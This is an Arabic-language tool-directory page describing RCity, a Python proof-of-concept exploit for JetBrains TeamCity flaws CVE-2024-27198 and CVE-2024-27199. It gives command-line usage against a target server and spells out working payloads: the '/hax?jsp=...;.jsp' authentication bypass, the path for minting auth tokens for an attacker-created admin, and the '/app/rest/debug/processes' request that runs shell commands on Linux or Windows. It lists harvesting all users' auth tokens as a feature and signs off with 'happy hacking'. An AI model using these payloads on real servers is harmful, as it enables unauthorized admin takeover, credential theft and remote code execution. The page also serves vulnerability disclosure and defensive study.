Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
RCity-CVE-2024-27198 — CVE-2024-27198 وCVE-2024-27199 إثبات المفهوم - RCE، إنشاء حساب مسؤول، تعداد المستخدمين، معلومات الخادم | Kitploit
أدوات/GitHubGitHub/stuub/rcity-cve-2024-27198
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubstuub/rcity-cve-2024-27198

RCity-CVE-2024-27198

CVE-2024-27198 وCVE-2024-27199 إثبات المفهوم - RCE، إنشاء حساب مسؤول، تعداد المستخدمين، معلومات الخادم

عرض المستودع
363منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

RCity - CVE-2024-27198 (RCE & إنشاء حساب مسؤول) & CVE-2024-27199 (تجاوز المصادقة)

استغلال CVE-2024-27198 و CVE-2024-27199

RCity هو سكربت Python يتفاعل مع خادم TeamCity المعرّض للثغرة. تسهّل الثغرة (CVE) إنشاء حساب مسؤول غير مصرح به، وتجاوز استجابات 403 على النطاق. بينما تحقق أيضًا RCE عبر مسار Debug/Processes.

الاستخدام

لاستخدام السكربت، تحتاج إلى توفير عنوان URL لخادم TeamCity الهدف كوسيطة سطر أوامر باستخدام -t أو --target:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111

يمكنك زيادة مستوى تفاصيل الإخراج باستخدام الخيار -v أو --verbose:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --verbose

يمكنك إرسال أوامر لمرة واحدة مباشرة عبر الخيار -c أو --command. إذا كنت تريد قشرة تفاعلية فلا تستخدم هذا الخيار. إنه غير مناسب مع القشور العكسية (reverse shells)، حيث يُغلق الاتصال بعد إرسال الأمر:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -c id

يمكنك ضمان عدم إرسال أي طلبات POST إلى خادم TeamCity باستخدام الخيار -s أو --stealth.

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -s

يعطّل وظيفة RCE - كل شيء آخر يبقى كما هو

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-rce

يمنع جمع قائمة المستخدمين، فقد يستغرق ذلك وقتًا طويلاً مع قوائم المستخدمين الأكبر. انتقل مباشرة إلى RCE بهذا الخيار!

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-enum

المزايا

  • إنشاء حساب مسؤول

  • تنفيذ الأكواد عن بُعد

  • توليد رموز التفويض

  • تعداد المستخدمين

  • جمع جميع رموز المصادقة الخاصة بالمستخدمين

  • جمع تفاصيل الخادم

مثال

image

RCE

image

توليد الرمز

image

التوثيق

هنا سأستعرض الوظائف المستخدمة في هذا المشروع، على أمل أن أعطيك فهمًا أفضل لهذا الاستغلال والثغرات المرتبطة به.

الخلفية

ترتبط طبيعة الثغرة بين كل من CVE-2024-27198 و CVE-2024-27199 بسبب أن المشكلة تنبع من نفس آلية تجاوز المصادقة لمسارات REST API داخل خوادم JetBrains TeamCity. ومع ذلك، فإن تأثير هذه الثغرة هو حيث يتباين الأمر ويصبح مشوقًا... CVE-2024-27198 هو الأشد وطأة على الورق، نظرًا لتأثيره المعلن عن RCE، حيث يستغل نقطة النهاية /app/rest/debug/processes، فقط مع الأذونات اللازمة لإرسال الطلبات إلى هذه النقطة، عبر رمز مصادقة (Auth Token). يختلف هذا الاستدعاء لهذه النقطة بين مضيفي Unix وWindows، ومع ذلك يتم التلاعب به بشكل مشابه، والفرق الوحيد هو القشرة الأصلية التي يتم استدعاؤها لإرسال الطلب.

Linux - processes?exePath=/bin/sh&params=-c&params={yourRCE_HTMLEncoded}

Windows - processes?exePath=cmd.exe&params=/c&params={yourRCE_HTMLEncoded}

تجاوز المصادقة

الآن، كما ذُكر سابقًا - هذا غير ممكن بدون مصادقة، يجب أن يكون آمنًا... أليس كذلك؟ هنا يأتي دور تجاوز المصادقة.

تجاوز سياسة بناء TeamCity يفتح الفرصة لإرسال الطلبات إلى الخادم وإسقاط رمز المصادقة الخاص بنا هناك، دون أن نحتاج تقنيًا حتى إلى حساب خاص بنا.

التجاوز نفسه هو إنشاء مسار بديل إلى مسارات REST، والذي دون الخوض في الكثير من التفاصيل، يتطلب التحكم في محتويات فئة (class) وظيفتها معالجة الطلبات، وتحديدًا تلك التي ليست 302 (إعادة توجيه)، مما يسمح لنا بعد ذلك بالتحكم فيه عبر إلحاق 3 أجزاء ضرورية بعنوان URL الخاص بنا.

  1. نقطة نهاية غير مصادق عليها لن تستدعي 302، في حالتنا /hax

  2. معامل استعلام في عنوان URL باسم jsp للاستعلام عن مسارات API، على سبيل المثال، مسار users هو ?jsp=/app/rest/users

  3. مسار URI عشوائي ينتهي بـ .jsp. يمكن تحقيق ذلك بإلحاق مقطع معامل مسار HTTP ;.jsp

مما يعني أن الحمولة النهائية لإرسال طلبات غير مصرح بها إلى نقطة نهاية المستخدمين هي: /hax?jsp=/app/rest/users;.jsp

الآن يمكننا إرسال الطلبات إلى نقطة نهاية المستخدمين وإضافة مستخدمينا الخاصين، حتى المسؤولين!

ومع ذلك، قبل أن ننتقل إلى RCE، نحتاج إلى رمز مصادقة (Auth Token)، باعتباره الحامل لطلبات RCE الخاصة بنا ضد REST API الخاص بهم. لا مشكلة الآن بعد أن حصلنا على التجاوز، سنذهب لننشئ واحدًا!

توليد رمز REST API --> RCE

كانت نقطة نهاية الرمز تتبع نفس شجرة المسار كما في المثال السابق، ويمكن العثور عليها في /app/rest/users/id:{user_id}/tokens/{token_name}. لذا دعونا نصمم حمولة أخرى لتجاوز المصادقة وإنشاء رمز!

(نحن نوفر اسم الرمز الخاص بنا لهذا الغرض، وبالنسبة لهذا السكربت فهو توليد عشوائي من أحرف ascii الأبجدية الرقمية).

/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp

بعد إرسال طلب POST الخاص بنا لإضافة الرمز إلى المستخدم الذي أنشأناه للتو، يمكننا الآن البدء في إرسال الطلبات إلى مسار /app/rest/debug/processes!

لا شيء مميز في تصميم حمولات RCE الخاصة بنا، فقط قم بترميز حمولاتك بتنسيق HTML في وسيطة params!

اختراق سعيد!

المراجع

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://nvd.nist.gov/vuln/detail/CVE-2024-27198

https://github.com/W01fh4cker/CVE-2024-27198-RCE

إخلاء المسؤولية

هذا السكربت لأغراض تعليمية فقط. استخدمه بمسؤولية وعلى الأنظمة التي لديك إذن بالوصول إليها فقط.

تنزيل الأداة